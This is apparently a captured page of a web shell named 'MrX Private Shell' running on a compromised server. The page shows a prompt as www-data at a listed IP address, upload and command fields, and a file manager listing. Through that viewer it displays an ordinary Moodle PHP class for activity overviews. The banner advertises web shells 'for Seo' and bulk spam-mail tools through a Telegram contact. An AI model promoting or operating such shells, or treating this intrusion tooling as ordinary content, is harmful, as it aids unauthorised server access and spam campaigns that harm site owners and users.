__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.148: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_courseformat;

use cm_info;
use core\context\module as module_context;
use core_completion\cm_completion_details;
use core_courseformat\local\overview\overviewitem;
use core_courseformat\output\local\overview\activityname;
use core_courseformat\output\local\overview\overviewpage;
use core_courseformat\base as courseformat;
use grade_item;
use grade_grade;

/**
 * Base class for activity overview.
 *
 * Plugins must extend this class on their \mod_PLUGINNAME\courseformat\overview
 * integration to provide overview items about a course module instance.
 *
 * @package    core_courseformat
 * @copyright  2025 Ferran Recio <ferran@moodle.com>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
abstract class activityoverviewbase {
    /** @var cm_info The course module. */
    protected module_context $context;

    /** @var \stdClass $course */
    protected \stdClass $course;

    /** @var courseformat $format the course format */
    protected courseformat $format;

    /**
     * Activity Overview Base class constructor.
     *
     * Overview integrations are meant to use dependency injection.
     * Don't create instances of this class directly, use the factory instead.
     *
     * \core_courseformat\local\overview\overviewfactory::create($cm);
     *
     * Plugins can override the constructor adding more dependencies such as:
     *
     *  - protected readonly \moodle_database $db -> To access the database.
     *  - protected readonly \core\clock $clock -> The clock interface to handle time.
     *
     * However, it is important to note all original dependencies must be kept.
     *
     * @param cm_info $cm The course module information (loaded by the factory).
     */
    public function __construct(
        /** @var cm_info The course module. */
        protected readonly cm_info $cm,
    ) {
        $this->context = $cm->context;
        $this->course = $cm->get_course();
        $this->format = courseformat::instance($this->course);
    }

    /**
     * Redirects to the overview page for the activity.
     *
     * @param int $courseid The course id.
     * @param string $modname The module name.
     */
    public static function redirect_to_overview_page(int $courseid, string $modname): void {
        redirect(overviewpage::get_modname_url($courseid, $modname));
    }

    /**
     * Get the plugin specific overview items for the activity.
     *
     * Plugins can override this method to provide their own overview items.
     *
     * The resulting array must be indexed by item shortname.
     *
     * @return overviewitem[] Array of overview items indexed by item shortname.
     */
    public function get_extra_overview_items(): array {
        return [];
    }

    /**
     * Get the name of the activity.
     */
    final public function get_name_overview(): overviewitem {
        return new overviewitem(
            name: get_string('name'),
            value: $this->cm->name,
            content: new activityname($this->cm),
        );
    }

    /**
     * Retrieves the due date overview for the activity.
     *
     * @return overviewitem|null null if module does not have a due date.
     */
    public function get_due_date_overview(): ?overviewitem {
        return null;
    }

    /**
     * Retrieves the actions overview for the activity.
     *
     * @return overviewitem|null null if module does not have a main action item.
     */
    public function get_actions_overview(): ?overviewitem {
        return null;
    }

    /**
     * Retrieves the completion overview for the activity.
     *
     * @return overviewitem|null null if completion is not enabled.
     */
    public function get_completion_overview(): ?overviewitem {
        global $USER;

        $showcompletionconditions = $this->course->showcompletionconditions == COMPLETION_SHOW_CONDITIONS;

        $completiondetails = cm_completion_details::get_instance(
            $this->cm,
            $USER->id,
            $showcompletionconditions
        );

        if (!$completiondetails->is_tracked_user()) {
            return null;
        }

        $showcompletioninfo = $completiondetails->has_completion() &&
            ($showcompletionconditions || $completiondetails->show_manual_completion());

        if (!$showcompletioninfo) {
            return new overviewitem(
                name: get_string('completion_status', 'completion'),
                value: null,
                content: '-',
            );
        }

        $status = $completiondetails->get_overall_completion();

        $completionclass = $this->format->get_output_classname('content\\cm\\completion');
        /** @var \core_courseformat\output\local\content\cm\completion $completion */
        $completion = new $completionclass(
            $this->format,
            $this->cm->get_section_info(),
            $this->cm
        );
        $completion->set_smallbutton(false);

        return new overviewitem(
            name: get_string('completion_status', 'completion'),
            value: $status,
            content: $completion,
        );
    }

    /**
     * Retrieves the grades overview items for the activity.
     *
     * Most activities will have none or one grade. However, some activities
     * may have multiple grades, such as workshop or quiz.
     *
     * It is not recommended to override this method unless the plugin
     * has specific requirements. Instead, plugins should override
     * get_grade_item_names to provide the grade item names.
     *
     * @return overviewitem[] Array of overview items representing the grades.
     */
    public function get_grades_overviews(): array {
        global $CFG, $USER;
        // This overview is to see the own grades, users with full gradebook
        // access will see all grades in the gradebook.
        if (has_capability('moodle/grade:viewall', $this->context)) {
            return [];
        }
        if (!plugin_supports('mod', $this->cm->modname, FEATURE_GRADE_HAS_GRADE, false)) {
            return [];
        }
        require_once($CFG->libdir . '/gradelib.php');

        $items = grade_item::fetch_all([
                'itemtype' => 'mod',
                'itemmodule' => $this->cm->modname,
                'iteminstance' => $this->cm->instance,
                'courseid' => $this->course->id,
        ]);
        if (empty($items)) {
            return [];
        }

        $itemnames = $this->get_grade_item_names($items);
        $result = [];
        foreach ($items as $item) {
            // Plugins may decide to hide a specific grade item by not setting a name.
            if (empty($itemnames[$item->id])) {
                continue;
            }

            $gradegrade = grade_grade::fetch(['itemid' => $item->id, 'userid' => $USER->id]);
            if ((!$gradegrade || ($gradegrade->is_hidden() && !has_capability('moodle/grade:viewhidden', $this->context)))) {
                if ($item->is_gradable()) {
                    $result[] = new overviewitem(
                        name: $itemnames[$item->id],
                        value: '-',
                        content: '-',
                    );
                }
                continue;
            }

            $result[] = new overviewitem(
                name: $itemnames[$item->id],
                value: $gradegrade->finalgrade,
                content: grade_format_gradevalue($gradegrade->finalgrade, $item),
            );
        }
        return $result;
    }

    /**
     * Retrieves the grade item names for the activity.
     *
     * By default, the overview will display the grade if the activities
     * has only one grade item. The name of the grade item will be 'Grade'.
     * For plugins with multiple grade items, the plugin must override this method
     * and provide names for each grade item that want to be displayed.
     *
     * @param grade_item[] $items
     * @return array<integer, string> the grade item names indexed by item id.
     */
    protected function get_grade_item_names(array $items): array {
        if (count($items) == 1) {
            return [reset($items)->id => get_string('gradenoun')];
        }
        return [];
    }
}

Filemanager

Name Type Size Permission Actions
external Folder 0755
hook Folder 0755
local Folder 0755
output Folder 0755
privacy Folder 0755
activityoverviewbase.php File 8.74 KB 0644
base.php File 85.16 KB 0644
formatactions.php File 5.44 KB 0644
hook_listener.php File 4.3 KB 0644
sectiondelegate.php File 5.17 KB 0644
sectiondelegatemodule.php File 6.52 KB 0644
stateactions.php File 42.81 KB 0644
stateupdates.php File 7.45 KB 0644
Filemanager